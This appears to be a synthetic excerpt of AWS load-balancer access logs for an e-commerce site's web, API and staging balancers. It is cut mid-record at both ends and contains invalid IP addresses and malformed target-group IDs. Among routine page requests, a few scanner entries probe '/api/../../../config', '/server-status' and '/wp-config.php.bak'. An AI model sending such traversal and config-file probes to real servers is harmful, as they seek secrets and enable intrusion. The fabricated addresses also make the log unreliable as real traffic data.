"Root=1-6723dded-8a5ddc77d4bf446da23d638b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:41.673037Z "forward" "-" "-" "10.0.157.170:443" "302" "-" "-" -https 2024-11-01T02:43:41.794701Z prod-web-alb 10.228.79.178:54576 10.0.136.13:443 0.019762 0.489264 0.059101 404 404 681 9542 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dded-912505d046e74b23906f18b1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:41.794701Z "forward" "-" "-" "10.0.136.13:443" "404" "-" "-" -https 2024-11-01T02:43:43.740000Z prod-api-alb 38.182.21.95:44953 10.0.184.110:443 0.018620 0.187237 0.081886 200 200 473 11069 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddef-ef42eeda72d14ee39b4c0ea4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:43.740000Z "forward" "-" "-" "10.0.184.110:443" "200" "-" "-" -http 2024-11-01T02:43:44.371455Z staging-alb 245.99.182.46:19877 128.82.33.160:8080 0.123783 0.189952 0.011018 404 404 896 13585 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddf0-76fc33d37b0f40fb9df5d42d" "staging-alb.example.com" "-" 6 2024-11-01T02:43:44.371455Z "forward" "-" "-" "128.82.33.160:8080" "404" "-" "-" -https 2024-11-01T02:43:46.087911Z prod-api-alb 177.246.36.85:12599 10.0.44.199:443 0.098455 0.274457 0.061548 302 302 505 4586 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddf2-f7add4f82a724ee5b53c75c0" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:46.087911Z "forward" "-" "-" "10.0.44.199:443" "302" "-" "-" -https 2024-11-01T02:43:47.174103Z staging-alb 41.20.151.166:42464 230.165.238.28:443 0.115932 0.207032 0.080178 200 200 404 6687 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddf3-bbe4dd5a3b5d42e09b35d422" "staging-alb.example.com" "-" 9 2024-11-01T02:43:47.174103Z "forward" "-" "-" "230.165.238.28:443" "200" "-" "-" -https 2024-11-01T02:43:49.076150Z prod-web-alb 10.56.165.137:63966 10.0.94.80:443 0.009041 0.371365 0.015237 302 302 226 3056 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf5-dad9e56ee10546f299574024" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:49.076150Z "forward" "-" "-" "10.0.94.80:443" "302" "-" "-" -https 2024-11-01T02:43:49.603446Z prod-api-alb 254.16.161.199:17690 10.0.59.129:443 0.042257 0.347815 0.026191 200 200 590 2462 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddf5-09f0fb45b8d945388c2174dd" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:49.603446Z "forward" "-" "-" "10.0.59.129:443" "200" "-" "-" -https 2024-11-01T02:43:49.761943Z prod-web-alb 220.168.165.58:40258 10.0.165.139:443 0.044228 0.090638 0.085041 200 200 25 4951 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf5-0a27317486f145c4aa563814" "prod-web-alb.example.com" "-" 5 2024-11-01T02:43:49.761943Z "forward" "-" "-" "10.0.165.139:443" "200" "-" "-" -http 2024-11-01T02:43:51.264366Z staging-alb 16.188.42.231:14967 60.142.192.68:8080 0.126484 0.048464 0.127945 404 404 272 12702 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddf7-88c4626c033a491380d64105" "staging-alb.example.com" "-" 0 2024-11-01T02:43:51.264366Z "forward" "-" "-" "60.142.192.68:8080" "404" "-" "-" -https 2024-11-01T02:43:52.500774Z prod-web-alb 81.100.4.133:22581 10.0.34.116:443 0.014683 0.476346 0.042690 200 200 974 3959 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf8-31e8b27932c64f8197c53c7f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:43:52.500774Z "forward" "-" "-" "10.0.34.116:443" "200" "-" "-" -https 2024-11-01T02:43:54.289791Z prod-web-alb 247.244.180.229:53487 10.0.223.126:443 0.099080 0.082687 0.083142 200 200 401 5993 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddfa-f5c0edb1c9d243629bce8cb1" "prod-web-alb.example.com" "-" 3 2024-11-01T02:43:54.289791Z "forward" "-" "-" "10.0.223.126:443" "200" "-" "-" -http 2024-11-01T02:43:55.482411Z staging-alb 99.29.90.13:14257 133.204.215.158:8080 0.114960 0.300155 0.067952 200 200 976 5667 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddfb-b1d3f84a01f8455784c4a939" "staging-alb.example.com" "-" 1 2024-11-01T02:43:55.482411Z "forward" "-" "-" "133.204.215.158:8080" "200" "-" "-" -https 2024-11-01T02:43:57.452049Z prod-api-alb 80.219.204.157:52387 10.0.15.213:443 0.029208 0.014739 0.089764 404 404 628 5985 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddfd-32383503955843ce8fa1a798" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:57.452049Z "forward" "-" "-" "10.0.15.213:443" "404" "-" "-" -https 2024-11-01T02:43:58.467902Z prod-web-alb 56.166.47.82:32742 10.0.23.247:443 0.054584 0.109937 0.070625 200 200 765 11534 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddfe-8c11c628ef814b4fb119cea8" "prod-web-alb.example.com" "-" 8 2024-11-01T02:43:58.467902Z "forward" "-" "-" "10.0.23.247:443" "200" "-" "-" -https 2024-11-01T02:43:59.421895Z prod-web-alb 45.155.205.150:27194 10.0.207.139:443 0.008215 0.194887 0.095988 404 404 892 7893 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddff-b70c47aab0f248bfad5227da" "-" "-" 7 2024-11-01T02:43:59.421895Z "forward" "-" "-" "10.0.207.139:443" "404" "-" "-" -http 2024-11-01T02:44:01.057137Z staging-alb 20.208.109.122:10868 183.128.236.227:443 0.108830 0.589458 0.010551 301 301 597 8628 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de01-dd72514d51ed43f788737e8a" "staging-alb.example.com" "-" 4 2024-11-01T02:44:01.057137Z "forward" "-" "-" "183.128.236.227:443" "301" "-" "-" -https 2024-11-01T02:44:01.247757Z staging-alb 193.27.228.161:11845 157.207.62.200:8080 0.098936 0.650697 0.081788 301 301 914 4094 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de01-dbbcf2f1fb9543e6b822ef1b" "-" "-" 6 2024-11-01T02:44:01.247757Z "forward" "-" "-" "157.207.62.200:8080" "301" "-" "-" -https 2024-11-01T02:44:02.909752Z prod-web-alb 105.188.203.23:30961 10.0.46.120:443 0.080652 0.323954 0.002027 302 302 0 6413 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de02-974645f5d93b4bb0af7841f9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:44:02.909752Z "forward" "-" "-" "10.0.46.120:443" "302" "-" "-" -http 2024-11-01T02:44:04.905934Z staging-alb 141.37.246.93:19851 101.137.181.105:443 0.017938 0.485445 0.120850 404 404 844 3855 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de04-e51c4e9fa7e14de4ab20c271" "staging-alb.example.com" "-" 5 2024-11-01T02:44:04.905934Z "forward" "-" "-" "101.137.181.105:443" "404" "-" "-" -https 2024-11-01T02:44:05.582504Z prod-web-alb 105.159.149.190:11056 10.0.52.171:443 0.090399 0.237815 0.050716 200 200 514 1943 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de05-ad37685cd18540b68a4be9a4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:05.582504Z "forward" "-" "-" "10.0.52.171:443" "200" "-" "-" -https 2024-11-01T02:44:07.537473Z prod-web-alb 180.65.243.125:41452 10.0.240.30:443 0.081768 0.189468 0.002118 200 200 116 644 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de07-5e53839ec8a341fc87d54d9c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:44:07.537473Z "forward" "-" "-" "10.0.240.30:443" "200" "-" "-" -https 2024-11-01T02:44:08.001605Z prod-api-alb 220.119.162.199:26185 10.0.206.20:443 0.045385 0.107495 0.071717 200 200 648 10298 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de08-9b0fba19a4c048ff8c255ca1" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:08.001605Z "forward" "-" "-" "10.0.206.20:443" "200" "-" "-" -http 2024-11-01T02:44:08.957158Z staging-alb 16.130.156.48:60477 39.17.112.251:443 0.070485 0.735769 0.077501 404 404 207 9192 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de08-5525132135f045c491256957" "staging-alb.example.com" "-" 5 2024-11-01T02:44:08.957158Z "forward" "-" "-" "39.17.112.251:443" "404" "-" "-" -http 2024-11-01T02:44:10.202160Z staging-alb 251.43.225.10:56914 86.131.32.84:443 0.044079 0.324879 0.034280 200 200 987 10079 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de0a-5dd648824f1f4462a56c01db" "staging-alb.example.com" "-" 7 2024-11-01T02:44:10.202160Z "forward" "-" "-" "86.131.32.84:443" "200" "-" "-" -https 2024-11-01T02:44:10.768171Z prod-api-alb 90.77.2.91:39261 10.0.177.250:443 0.054130 0.308788 0.094901 404 404 919 2109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de0a-b04143fe489546e3a3ee5baa" "prod-api-alb.example.com" "-" 4 2024-11-01T02:44:10.768171Z "forward" "-" "-" "10.0.177.250:443" "404" "-" "-" -http 2024-11-01T02:44:11.989516Z staging-alb 186.124.13.72:45791 11.140.180.173:8080 0.076482 0.223749 0.000525 404 404 523 4863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de0b-656ff423f9404f7c814db56d" "staging-alb.example.com" "-" 10 2024-11-01T02:44:11.989516Z "forward" "-" "-" "11.140.180.173:8080" "404" "-" "-" -https 2024-11-01T02:44:13.807946Z prod-web-alb 25.249.202.183:35326 10.0.154.86:443 0.076807 0.056912 0.071040 404 404 281 5363 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de0d-3eaab5ca25544110b6586fc0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:13.807946Z "forward" "-" "-" "10.0.154.86:443" "404" "-" "-" -https 2024-11-01T02:44:15.234238Z prod-web-alb 49.60.42.102:41415 10.0.118.198:443 0.054006 0.435533 0.012150 200 200 871 713 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de0f-97dc0ef413b04cd6be8db462" "prod-web-alb.example.com" "-" 1 2024-11-01T02:44:15.234238Z "forward" "-" "-" "10.0.118.198:443" "200" "-" "-" -https 2024-11-01T02:44:15.482422Z staging-alb 234.71.69.239:35162 240.135.1.236:8080 0.047852 0.221044 0.085747 200 200 236 7190 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de0f-fe7435d0d76e40fabd61e4d5" "staging-alb.example.com" "-" 6 2024-11-01T02:44:15.482422Z "forward" "-" "-" "240.135.1.236:8080" "200" "-" "-" -https 2024-11-01T02:44:16.466637Z prod-web-alb 79.136.98.220:44074 10.0.190.179:443 0.084158 0.269782 0.010680 200 200 608 4849 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de10-061f1442eede4a0eb41ffe2c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:16.466637Z "forward" "-" "-" "10.0.190.179:443" "200" "-" "-" -https 2024-11-01T02:44:16.855933Z staging-alb 176.95.44.47:48472 22.126.79.148:80 0.066304 0.496339 0.015209 200 200 241 8031 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de10-a1c87e68ecdd401589305cde" "staging-alb.example.com" "-" 0 2024-11-01T02:44:16.855933Z "forward" "-" "-" "22.126.79.148:80" "200" "-" "-" -https 2024-11-01T02:44:18.624419Z prod-web-alb 31.254.80.8:60779 10.0.112.13:443 0.036922 0.097953 0.068860 200 200 605 7121 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de12-95a8a6ee4194451aab01a4c6" "-" "-" 9 2024-11-01T02:44:18.624419Z "forward" "-" "-" "10.0.112.13:443" "200" "-" "-" -https 2024-11-01T02:44:18.866063Z prod-api-alb 134.45.161.181:16812 10.0.58.72:443 0.076979 0.078973 0.016043 404 404 297 510 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de12-a1673122683b4d2d87b155ce" "prod-api-alb.example.com" "-" 3 2024-11-01T02:44:18.866063Z "forward" "-" "-" "10.0.58.72:443" "404" "-" "-" -https 2024-11-01T02:44:20.744617Z prod-web-alb 91.10.14.228:52401 10.0.197.75:443 0.006630 0.473248 0.099056 200 200 587 4132 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de14-ff7a1682edf64e898f8421b5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:20.744617Z "forward" "-" "-" "10.0.197.75:443" "200" "-" "-" -https 2024-11-01T02:44:21.798924Z prod-api-alb 157.46.86.218:30682 10.0.115.175:443 0.017395 0.313580 0.096279 200 200 6 2758 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de15-873ff8efe5674caf8af55df2" "prod-api-alb.example.com" "-" 8 2024-11-01T02:44:21.798924Z "forward" "-" "-" "10.0.115.175:443" "200" "-" "-" -https 2024-11-01T02:44:22.903347Z prod-web-alb 193.27.228.254:12663 10.0.209.3:443 0.082774 0.213198 0.045929 404 404 139 10412 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de16-1945177a33314e8899703a16" "-" "-" 10 2024-11-01T02:44:22.903347Z "forward" "-" "-" "10.0.209.3:443" "404" "-" "-" -http 2024-11-01T02:44:23.407372Z staging-alb 130.236.104.88:32835 97.12.74.79:8080 0.146364 0.664201 0.078385 200 200 161 14078 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de17-56911eb1a26a4cefb541d6a5" "staging-alb.example.com" "-" 2 2024-11-01T02:44:23.407372Z "forward" "-" "-" "97.12.74.79:8080" "200" "-" "-" -https 2024-11-01T02:44:24.713914Z prod-api-alb 45.240.161.186:19729 10.0.239.178:443 0.032887 0.124861 0.016622 200 200 721 8181 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de18-bc987f68ba5b493d86729aed" "prod-api-alb.example.com" "-" 2 2024-11-01T02:44:24.713914Z "forward" "-" "-" "10.0.239.178:443" "200" "-" "-" -http 2024-11-01T02:44:26.037772Z staging-alb 179.85.40.182:49199 36.160.190.128:443 0.007172 0.211799 0.107847 200 200 355 13395 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de1a-8a84397096f44a28811631eb" "staging-alb.example.com" "-" 0 2024-11-01T02:44:26.037772Z "forward" "-" "-" "36.160.190.128:443" "200" "-" "-" -https 2024-11-01T02:44:26.549460Z staging-alb 41.30.146.99:22266 62.13.33.235:80 0.139326 0.396914 0.102749 200 200 990 11921 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de1a-bae473a824594c51a13a6d66" "staging-alb.example.com" "-" 0 2024-11-01T02:44:26.549460Z "forward" "-" "-" "62.13.33.235:80" "200" "-" "-" -https 2024-11-01T02:44:28.462985Z prod-web-alb 2.65.229.203:26352 10.0.255.96:443 0.011731 0.390347 0.037760 301 301 325 2852 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1c-e2f478fbf26040928077277b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:28.462985Z "forward" "-" "-" "10.0.255.96:443" "301" "-" "-" -https 2024-11-01T02:44:28.873923Z prod-web-alb 139.226.156.203:48295 10.0.232.181:443 0.033166 0.456968 0.031953 200 200 5 13963 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1c-7637fa0992174e0cafa12d4f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:44:28.873923Z "forward" "-" "-" "10.0.232.181:443" "200" "-" "-" -https 2024-11-01T02:44:30.586167Z prod-web-alb 58.171.53.175:43218 10.0.49.240:443 0.036536 0.117882 0.019254 200 200 41 12509 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1e-85becd6fdb0d4822b2a61854" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:30.586167Z "forward" "-" "-" "10.0.49.240:443" "200" "-" "-" -https 2024-11-01T02:44:31.724335Z prod-web-alb 144.208.223.189:47673 10.0.88.137:443 0.066158 0.485996 0.020306 200 200 995 3179 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de1f-f0a12870f3754b079af6cc63" "prod-web-alb.example.com" "-" 10 2024-11-01T02:44:31.724335Z "forward" "-" "-" "10.0.88.137:443" "200" "-" "-" -https 2024-11-01T02:44:33.393247Z staging-alb 71.208.243.218:58839 236.237.86.116:443 0.111685 0.650524 0.127096 301 301 258 1974 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de21-0895736a8d1d442ebf4657d3" "staging-alb.example.com" "-" 1 2024-11-01T02:44:33.393247Z "forward" "-" "-" "236.237.86.116:443" "301" "-" "-" -https 2024-11-01T02:44:34.187935Z prod-api-alb 68.79.49.220:56179 10.0.249.27:443 0.094479 0.314424 0.065100 301 301 916 7812 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de22-93b2e45860344180ba2e637c" "prod-api-alb.example.com" "-" 1 2024-11-01T02:44:34.187935Z "forward" "-" "-" "10.0.249.27:443" "301" "-" "-" -https 2024-11-01T02:44:35.583535Z prod-web-alb 241.189.242.26:64855 10.0.132.225:443 0.090262 0.121035 0.020083 200 200 844 9685 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de23-09ebd01f13c7456e896092be" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:35.583535Z "forward" "-" "-" "10.0.132.225:443" "200" "-" "-" -https 2024-11-01T02:44:37.426653Z prod-api-alb 161.49.12.93:34948 10.0.119.106:443 0.037246 0.090026 0.074802 301 301 226 6652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 